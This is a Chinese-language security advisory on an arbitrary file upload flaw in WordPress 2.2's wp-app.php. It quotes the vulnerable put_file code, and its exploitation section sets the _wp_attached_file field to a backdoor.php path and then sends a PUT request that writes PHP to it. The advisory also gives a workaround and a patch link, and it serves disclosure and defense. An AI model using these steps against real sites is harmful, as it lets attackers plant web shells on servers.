WordPress自定义字段任意文件上传漏洞


添加时间:
2008-10-04

系统编号:
WAVDB-01110
BUGTRAQ: 24642

影响版本:
WordPress 2.2

程序介绍:

WordPress是一款免费的论坛Blog系统。

漏洞分析:

WordPress处理用户提交的数据时存在漏洞,远程攻击者可能利用此漏洞非授权操作文件。

WordPress允许上传有限的文件附件组,其中名称、标题等以post_type=attachment存储到了wp_posts表中,而路径和其他文件属性以名为_wp_attached_file和_wp_attachment_metadata的特殊字段被存储到了wp_postmeta表中。

WordPress还允许在正常的张贴或页面中添加自定义字段,该自定义字段也被存储到了wp_postmeta表中,但没有检查正常的张贴中是否添加了附件的这个特殊的meta-data字段。

wp-app.php中的以下函数允许上传任意文件:

 
  1. function put_file($postID) {  
  2.   
  3.   $type = $this->get_accepted_content_type();  
  4.   
  5.   // first check if user can upload  
  6.   if(!current_user_can('upload_files'))  
  7.     $this->auth_required(__('You do not have permission to upload files.'));  
  8.   
  9.   // check for not found  
  10.   global $entry;  
  11.   $this->set_current_entry($postID);  
  12.   
  13.   // then whether user can edit the specific post  
  14.   if(!current_user_can('edit_post'$postID)) {  
  15.     $this->auth_required(__('Sorry, you do not have the right to edit this post.'));  
  16.   }  
  17.   
  18.   $location = get_post_meta($entry['ID'], '_wp_attached_file', true);  
  19.   
  20.   if(!isset($location))  
  21.     $this->internal_error(__('Error ocurred while accessing post metadata for file location.'));  
  22.   
  23.   $fp = fopen("php://input""rb");  
  24.   $localfp = fopen($location"w+");  
  25.   while(!feof($fp)) {  
  26.     fwrite($localfp,fread($fp, 4096));  
  27.   }  
  28.   fclose($fp);  
  29.   fclose($localfp);  
  30.   
  31.   log_app('function',"put_file($postID)");  
  32.   $this->ok();  
  33. }  

这个函数主要用于加载第一个附件的路径,并写入张贴到wp-app.php的内容,因此如果攻击者能够用合适的文件名覆盖第一个元数据附件的值,就会向该文件写入所有的内容。



漏洞利用:

创建一个帖子并将以下值添加或覆盖到自定义字段:

key     : _wp_attached_file
value     : /home/vulnerable.com/wp/wp-content/uploads/backdoor.php

向wp-app.php发送PUT请求,传送上一步的post_ID值: 

PUT /wp/wp-app.php?action=/attachment/file/post_ID HTTP/1.1
Cookie: auth cookies
Content-Type: image/gif
Host: vulnerable.com
Content-Length: the content length

<?php echo "Hello World"; ?>



解决方案:
临时解决方法:
* 禁止访问wp-app.php或app.php。

厂商补丁:
WordPress
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://trac.mu.wordpress.org/changeset/1005

信息来源:
<*来源:Alexander Concha (alex@buayacorp.com)
链接:http://secunia.com/advisories/25794/
http://www.buayacorp.com/files/wordpress/wordpress-advisory.html
*>